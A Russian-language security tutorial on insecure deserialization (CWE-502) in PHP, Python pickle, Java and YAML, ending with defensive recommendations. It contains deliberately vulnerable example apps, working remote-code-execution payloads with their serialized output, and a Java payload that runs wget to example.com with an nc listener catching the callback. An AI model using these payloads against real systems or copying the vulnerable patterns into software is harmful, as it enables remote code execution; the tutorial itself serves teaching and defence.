навигация
Небезопасная десериализация

В рейтинге критических рисков веб-приложений OWASP Top Ten на восьмой позиции расположены недостатки десериализации недоверенных данных. Эта уязвимость имеет идентификатор CWE-502 и заключается в том, что приложение десериализует данные из недоверенного источника без достаточной их валидации. В результате атаки на механизмы десериализации злоумышленник нередко получает возможность удаленно исполнять команды в скомпрометированной системе.

В этой статье мы разберем самые распространенные случаи возникновения уязвимости небезопасной десериализации и примеры ее эксплуатации, а также поделимся рекомендациями по устранению таких угроз.

Введение

Что же такое десериализация?

Сериализация — это представление специфичных для языка программирования структур и объектов в едином формате, как правило, в виде строки определенного формата или последовательности байтов.

Десериализация — это обратный процесс: восстановление структур и объектов из сериализованной строки или последовательности байтов.

Сериализацию и десериализацию часто используют для сохранения состояния программы, например на диске или в базе данных, а также для обмена данными между различными приложениями.

Современные языки программирования предоставляют удобные механизмы для сериализации и десериализации своих структур. Поэтому разработчики нередко прибегают к ним: это просто, быстро, не требует дополнительных библиотек и позволяет не беспокоиться о проблемах совместимости сериализованных данных.

Вместе с тем гибкие механизмы сериализации и десериализации предоставляют гораздо больше возможностей, нежели просто представление объектов в едином формате. К сожалению, многие разработчики не уделяют должного внимания этим механизмам и допускают различные ошибки при написании кода, которые, в свою очередь, ведут к серьезным проблемам в безопасности приложения.

Десериализация в PHP

Для сериализации и десериализации в PHP используются функции serialize() и unserialize() соответственно.

serialize() принимает в качестве параметра объект и возвращает его сериализованное представление в виде строки.

unserialize() принимает в качестве параметра строку, содержащую сериализованный объект, и возвращает десериализованный объект, восстановленный из этой строки.

Рассмотрим на простом примере.

<?php
    class Injection{
        public $some_data;
        function __wakeup(){
            if(isset($this->some_data)){
                eval($this->some_data);
            }
        }
    }

    if(isset($_REQUEST['data'])){
        $result = unserialize($_REQUEST['data'])
        
        // do something with $result object
        // ...
    }
?>

В этом примере присутствует класс Injection, реализующий магический метод __wakeup(). Данный метод будет выполнен сразу после десериализации объекта класса Injection и, как можно увидеть, исполнит код, хранящийся в переменной класса $some_data.

С помощью следующего кода сгенерируем полезную нагрузку для эксплуатации подобной конструкции:

<?php
    class Injection{
        public $some_data;
        function __wakeup(){
            if(isset($this->some_data)){
                eval($this->some_data);
            }
        }
    }
    
    $inj = new Injection();
    $inj->some_data = "phpinfo();";
    echo(serialize($inj));
?>

В результате выполнения этого кода получим следующий сериализованный объект:

 O:9:"Injection":1:{s:9:"some_data";s:10:"phpinfo();";}

И обратимся к нашему уязвимому приложению, передав в качестве данных в параметре data этот сериализованный объект:

 https://example.com/vulnerable.php?data=O:9:"Injection":1:{s:9:"some_data";s:10:"phpinfo();";}

В результате исполнения данного кода и десериализации переданного нами объекта будет исполнена встроенная функция PHP phpinfo(). Таким образом злоумышленник получит возможность удаленного исполнения кода в уязвимой системе.

Стоит отметить, что не всегда эксплуатация уязвимости небезопасной десериализации в PHP ведет к удаленному исполнению кода. Иногда она приводит к чтению или записи произвольных файлов, SQL-инъекциям, отказу в обслуживании и так далее.

Для проведения успешной атаки необходимо, чтобы в приложении присутствовали классы, реализующие те или иные магические методы. Как правило, для целей эксплуатации наиболее полезны методы __destruct(), __wakeup() и __toString(). Кроме того, чтобы найти уязвимый класс или цепочку классов (так называемый гаджет), обычно нужен доступ к исходному коду приложения.

Вместе с тем приложения зачастую реализуются с использованием различных фреймворков, которые уже содержат подходящие гаджеты. В таком случае для генерации полезной нагрузки можно воспользоваться утилитой PHPGGC.

Десериализация в Python

Механизмы сериализации и десериализации в Python и в PHP во многом схожи. В Python для этих целей используется встроенная библиотека pickle.

pickle.dump() принимает в качестве параметров объект и имя файла и записывает переданный объект в файл с переданным именем в сериализованном виде.

pickle.load() принимает в качестве параметра имя файла, содержащего сериализованный объект, и возвращает десериализованный объект.

pickle.dumps() принимает в качестве параметра объект и возвращает его сериализованное представление в виде байтовой строки.

pickle.loads() принимает в качестве параметра байтовую строку, содержащую сериализованный объект, и возвращает десериализованный объект, восстановленный из этой строки.

Рассмотрим на простом примере.

import pickle
from flask import request

@app.route('vulnerable.py', methods=['GET'])
def parse_request():
    data = request.request.args.get('data')
    if (data):
        pickle.loads(data)
        # do something with result object
        # ...

С помощью следующего кода сгенерируем полезную нагрузку для эксплуатации подобной конструкции:

import pickle

class Payload(object):
    def __reduce__(self):
        return (exec, ('import os;os.system("ls")', ))
        
pickle_data = pickle.dumps(Payload())

print(pickle_data)

В результате выполнения этого кода получим следующий сериализованный объект:

 b'\x80\x03cbuiltins\nexec\nq\x00X\x19\x00\x00\x00import os;os.system("ls")q\x01\x85q\x02Rq\x03.'

И обратимся к нашему уязвимому приложению, передав в качестве данных в параметре data этот сериализованный объект, который представлен в URL-кодированном виде:

 https://example.com/vulnerable.py?data=%80%03cbuiltins%0Aexec%0Aq%00X%19%00%00%00import%20os%3Bos.system%28%22ls%22%29q%01%85q%02Rq%03.

В результате исполнения данного кода и десериализации переданного нами объекта будет вызвана функция os.system() с параметром ls. Она осуществит вывод списка файлов в текущей рабочей директории приложения. Таким образом злоумышленник может получить возможность удаленного исполнения кода в уязвимой системе.

В случае с Python для успешного проведения атаки не требуется каких-либо дополнительных предпосылок. Поэтому для безопасности следует избегать использования pickle.loads() для десериализации данных, полученных из недоверенного источника.

Десериализация в Java

Десериализация в Java схожа с тем же процессом в PHP и Python.

Как правило, используются следующие конструкции:

  • метод readObject() класса java.beans.XMLDecoder;
  • метод fromXML() класса com.thoughtworks.xstream.XStream;
  • методы readObject(), readObjectNodData(), readResolve(), readExternal(), readUnshared() класса java.io.ObjectInputStream.

Рассмотрим использование метода readObject() класса java.io.ObjectInputStream на простом примере.

import java.util.*;
import java.io.*;

class Injection implements Serializable
{
  public String some_data;

  private void readObject(ObjectInputStream in)
  {
    try
    {
      in.defaultReadObject();
      Runtime.getRuntime().exec(some_data);
    }
    
    catch (Exception e)
    {
      System.out.println("Exception: " + e.toString());
    }
  }
}

public class Main
{
  public static void main(String[] args)
  {
    Object obj = new Object ();

    try
    {
      String inputStr = args[1];
      byte[] decoded = Base64.getDecoder().decode(inputStr.getBytes("UTF-8"));
      ByteArrayInputStream bis = new ByteArrayInputStream(decoded);
      ObjectInput in = new ObjectInputStream(bis);
      obj = in.readObject();
      
      // do something with result object
      // ...
    }
    
    catch (Exception e)
    {
      System.out.println("Exception: " + e.toString ());
    }
  }
}

С помощью следующего кода сгенерируем полезную нагрузку для эксплуатации подобной конструкции:

import java.util.*;
import java.io.*;

class Injection implements Serializable
{
  public String some_data;
}

public class Main
{
  public static void main(String[] args)
  {
try
    {
      Injection inj = new Injection();
      inj.some_data = "wget http://example.com:8080";

      ByteArrayOutputStream baos = new ByteArrayOutputStream();
      ObjectOutputStream oos = new ObjectOutputStream(baos);
      oos.writeObject(inj);
      oos.close();
      
      System.out.println(new String(baos.toByteArray()));
      System.out.println(Base64.getEncoder().encodeToString(baos.toByteArray()));
    }
    
    catch (Exception e)
    {
      System.out.println ("Exception: " + e.toString ());
    }
  }
}

В результате выполнения этого кода получим следующий сериализованный объект:

 ��sr Injection��+r7�L some_datatLjava/lang/String;xptwget http://example.com:8080

И для удобства взаимодействия с бинарными данными — его же в base64-кодированном виде:

 rO0ABXNyAAlJbmplY3Rpb26voStyN+CgGAIAAUwACXNvbWVfZGF0YXQAEkxqYXZhL2xhbmcvU3RyaW5nO3hwdAAcd2dldCBodHRwOi8vZXhhbXBsZS5jb206ODA4MA==

Обратимся к нашему уязвимому приложению, передав в качестве входного параметра этот сериализованный объект в base64-кодированном виде:

 java -jar vulerable.jar rO0ABXNyAAlJbmplY3Rpb26voStyN+CgGAIAAUwACXNvbWVfZGF0YXQAEkxqYXZhL2xhbmcvU3RyaW5nO3hwdAAcd2dldCBodHRwOi8vZXhhbXBsZS5jb206ODA4MA==

В результате исполнения данного кода и десериализации переданного нами объекта будет вызвана функция Runtime.getRuntime().exec() с параметром wget http://example.com:8080, после чего будет получен «отстук» на контролируемом нами сервере example.com:

root@example.com:~$ nc -lvnp 8080
listening on [any] 8080 ...
connect to [***.***.***.***] from (UNKNOWN) [***.***.***.***] 45430
GET / HTTP/1.1
User-Agent: Wget/1.15 (linux-gnu)
Accept: */*
Host: example.com:8080
Connection: Keep-Alive

Таким образом злоумышленник может получить возможность удаленного исполнения кода в уязвимой системе.

В Java, как и в PHP, для получения удаленного исполнения кода необходимо наличие подходящего класса, реализующего интерфейс Serializable. В нашем примере таким классом был Injection. И, как и в PHP, поиск подходящего гаджета практически не осуществим без доступа к исходному коду приложения. В случае, если приложение реализовано с использованием некоторых фреймворков и библиотек классов, для генерации полезной нагрузки можно прибегнуть к помощи утилиты ysoserial.

Десериализация YAML

В различных языках и фреймворках есть возможность получить удаленное исполнение кода в ходе десериализации YAML.

Так, например, исполнение подобного кода на Python приведет к выводу листинга текущей директории:

import yaml

yaml.load("!!python/object/new:os.system [ls -la]", Loader=yaml.UnsafeLoader)

Это довольно распространенная проблема, но, поскольку в разных языках функциональность обработки YAML-файлов реализуется по-разному, мы не будет подробно останавливаться на конкретных примерах.

Как можно заметить в коде выше, в вызов функции yaml.load() был явно передан аргумент Loader=yaml.UnsafeLoader. Это важно: в актуальных версиях библиотеки разработчики позаботились о том, чтобы по умолчанию не использовались уязвимые методы.

Сейчас при вызове yaml.load() без дополнительных параметров мы получим сообщение об ошибке:

main.py:3: YAMLLoadWarning: calling yaml.load() without Loader=... is deprecated, as the default Loader is unsafe. Please read https://msg.pyyaml.org/load for full details.

Вместе с тем в ранних версиях функция yaml.load() не ограничивала возможность исполнения управляющих конструкций, а чтобы безопасно десериализовать недоверенный YAML, нужно было прибегнуть к функции yaml.safe_load(). Подобную уязвимость все еще можно встретить во многих приложениях, которые используют более старые версии библиотек для работы с YAML.

Поэтому мы рекомендуем не полагаться на предусмотрительность поставщика библиотеки, а выбирать заведомо безопасные конструкции по типу yaml.safe_load().

Заключение

Сериализация и десериализация, несомненно, мощные и гибкие инструменты, которые позволяют разработчикам легче манипулировать данными, сохранять их на диск или в базу данных, передавать их по сети. Но, как и в реальной жизни, в работе с каким-либо инструментом важно делать это правильно и соблюдать технику безопасности.

Простого и универсального метода защиты приложения от атак на десериализацию, к сожалению, не существует (разве что полный отказ от использования этого механизма). Поэтому вот несколько наших рекомендаций по безопасному использованию механизма десериализации:

  • По возможности использовать безопасные методы десериализации, например yaml.safe_load() вместо yaml.load().
  • Пользоваться более простыми форматами (например, JSON) для передачи данных и для их сохранения на диск или в базу данных. Они, как правило, менее функциональные, но и не несут таких угроз, как встроенные механизмы сериализации.
  • Вести белый список допустимых классов. Разработчик может переопределить стандартную функциональность, которая используется для десериализации, и при загрузке объекта убедиться, что десериализация переданного объекта разрешена и используемые в сериализованном объекте конструкции безопасны.
  • Осуществлять подпись передаваемых сериализованных данных. Этот вариант хорошо подходит для сетевого обмена данными между приложениями. Без знания секретного ключа, использованного для подписи передаваемых данных, злоумышленник не сможет внести в них изменения. Однако стоит помнить, что приложение или секретный ключ могут быть скомпрометированы другим способом, и это может негативно сказаться на безопасности связанных приложений.
  • Использовать сторонние библиотеки и фреймворки, спроектированные специально для повышения безопасности процедур десериализации. Например, SerialKiller или NotSoSerial для Java.

Соблюдать эти рекомендации не всегда просто, особенно когда перед разработчиком стоит задача поддержки уже имеющегося кода. Но, учитывая, что атаки на механизмы десериализации могут привести к удаленному исполнению кода и полной компрометации системы, такие трудо- и времязатраты зачастую жизненно необходимы.